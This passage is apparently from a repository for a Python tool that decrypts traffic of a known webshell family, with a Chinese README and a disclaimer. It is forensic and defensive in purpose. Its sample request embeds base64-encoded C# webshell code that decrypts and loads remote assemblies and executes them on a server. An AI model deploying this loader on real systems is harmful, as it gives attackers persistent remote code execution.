mcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuTUQ1Q3J5cHRvU2VydmljZVByb3ZpZGVyKCkuQ29tcHV0ZUhhc2goU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhwYXNzICsga2V5KSkpLlJlcGxhY2UoIi0iLCAiIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0gU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhhcHBjb250ZXh0LlJlcXVlc3RbcGFzc10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgYXNzZW1ibHkgPSBhcHBjb250ZXh0LkFwcGxpY2F0aW9uLkdldChjb29raWVWYWx1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhc3NlbWJseSA9PSBudWxsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY29va2llID0gbmV3IEh0dHBDb29raWUoY29va2llTmFtZSwgU3lzdGVtLkd1aWQuTmV3R3VpZCgpLlRvU3RyaW5nKCJOIikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29va2llVmFsdWUgPSBjb29raWUuVmFsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBjb250ZXh0LlJlc3BvbnNlLkNvb2tpZXMuQWRkKGNvb2tpZSk7DQogICAgICAgICAgICAgICAgCQkJCQlhc3NlbWJseSA9IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LkxvYWQobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRGVjcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKGRhdGEsIDAsIGRhdGEuTGVuZ3RoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBjb250ZXh0LkFwcGxpY2F0aW9uLlNldChjb29raWVWYWx1ZSwgYXNzZW1ibHkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG8gPSBhc3NlbWJseS5DcmVhdGVJbnN0YW5jZSgiTFkiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvdXRTdHJlYW0gPSBuZXcgU3lzdGVtLklPLk1lbW9yeVN0cmVhbSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgby5FcXVhbHMob3V0U3RyZWFtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG8uRXF1YWxzKGFwcGNvbnRleHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgby5FcXVhbHMobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRGVjcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKGRhdGEsIDAsIGRhdGEuTGVuZ3RoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLlRvU3RyaW5nKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgciA9IG91dFN0cmVhbS5Ub0FycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXRTdHJlYW0uRGlzcG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwY29udGV4dC5SZXNwb25zZS5Xcml0ZShtZDUuU3Vic3RyaW5nKDAsIDE2KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBjb250ZXh0LlJlc3BvbnNlLldyaXRlKFN5c3RlbS5Db252ZXJ0LlRvQmFzZTY0U3RyaW5nKG5ldyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlJpam5kYWVsTWFuYWdlZCgpLkNyZWF0ZUVuY3J5cHRvcihTeXN0ZW0uVGV4dC5FbmNvZGluZy5EZWZhdWx0LkdldEJ5dGVzKGtleSksIFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSkuVHJhbnNmb3JtRmluYWxCbG9jayhyLCAwLCByLkxlbmd0aCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGNvbnRleHQuUmVzcG9uc2UuV3JpdGUobWQ1LlN1YnN0cmluZygxNikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgfQ0K%27%29%29%29%2C%27unsafe%27%29%3B&key=WwSelqL9JENiXyh3FQxhh6neBpd6CFz4tFjBohtMq8pX0MY0w6%2F1Gkg4dxy5JO9o')
387 | # print(data)
388 | # data = decrypter.decrypt_res_payload(
389 | # b'72A9C691CCDAAB98CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU=B4C4E1F6DDD2A488')
390 | # print(data)
391 |
392 | decrypter = CSHAP_ASMX_AES_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
393 | asmx_req = b'''
394 |
395 |
396 |
397 | WwSelqL9JENiXyh3FQxhh6neBpd6CFz4tFjBohtMq8pX0MY0w6%2F1Gkg4dxy5JO9o
398 |
399 |
400 | '''
401 | asmx_res = b'''11CD6A8758984163CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU=6C37AC826A2A04BC'''
402 | data = decrypter.decrypt_req_payload(asmx_req)
403 | print(data)
404 | data = decrypter.decrypt_res_payload(asmx_res)
405 | print(data)
406 | # decrypter = CSHAP_AES_RAW(pass_='pass', key='3c6e0b8a9c15224a')
407 | # cshap_aes_raw_req='5b049e96a2fd2443625f2877150c6187a9de06977a085cf8b458c1a21b4cabca57d0c634c3aff51a4838771cb924ef68'
408 | # cshap_aes_raw_res = '09117c163bbc609598b1a71d8f64bd865aecc5e0c757c19290b33f8d2f4e3655'
409 | # data = decrypter.decrypt_req_payload(bytes(bytearray.fromhex(cshap_aes_raw_req)))
410 | # print(data)
411 | # data = decrypter.decrypt_res_payload(bytes(bytearray.fromhex(cshap_aes_raw_res)))
412 | # print(data)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 使用方法:
2 |
3 |
4 | 按照加密类型,和key,pass。初始化类。然后输入字节流形式的请求/响应体。调用相应的加/解密函数即可。
5 |
6 |
7 | 如下例子:
8 |
9 |
10 | ```python
11 | decrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
12 | data = decrypter.decrypt_req_payload(b'pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ==')
13 | print(data)
14 | data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488')
15 | print(data)
16 | ```
17 |
18 | ## 免责声明:
19 |
20 | 本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。
21 |
22 | ### 中文版本:
23 |
24 | 本免责声明旨在明确指出,本文仅为技术交流、学习和研究之用,不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。
25 |
26 | 阅读和参考本文章时,您必须明确并承诺,不会利用文章中提供的技术来实施非法活动、侵犯他人的权益或对系统进行攻击。任何使用本文中的技术所导致的任何意外、损失或损害,包括但不限于数据损失、财产损失、法律责任等问题,都与发表本文章的作者无关。
27 |
28 | 本文提供的技术信息仅供学习和参考之用,不构成任何形式的担保或保证。发表本文章的作者不对技术的准确性、有效性或适用性做任何声明或保证。
29 |
30 | ### 英文版本:
31 |
32 | This disclaimer is intended to clearly state that this article is solely for the purpose of technical exchange, learning, and research, and the use of the techniques mentioned in the article for any illegal purposes or destructive actions is strictly prohibited. The author of this article shall not be held responsible for any consequences resulting from the misuse of the techniques mentioned.
33 |
34 | By reading and referring to this article, you must acknowledge and commit that you will not exploit the techniques provided in the article for any illegal activities, infringement of rights of others, or attacks on systems. The author of this article bears no responsibility for any accidents, losses, or damages caused by the use of the techniques mentioned in this article, including but not limited to data loss, property damage, legal liabilities, etc.
35 |
36 | The technical information provided in this article is for learning and reference purposes only and does not constitute any form of warranty or guarantee. The author of this article makes no representations or warranties regarding the accuracy, effectiveness, or applicability of the techniques mentioned.
37 |
--------------------------------------------------------------------------------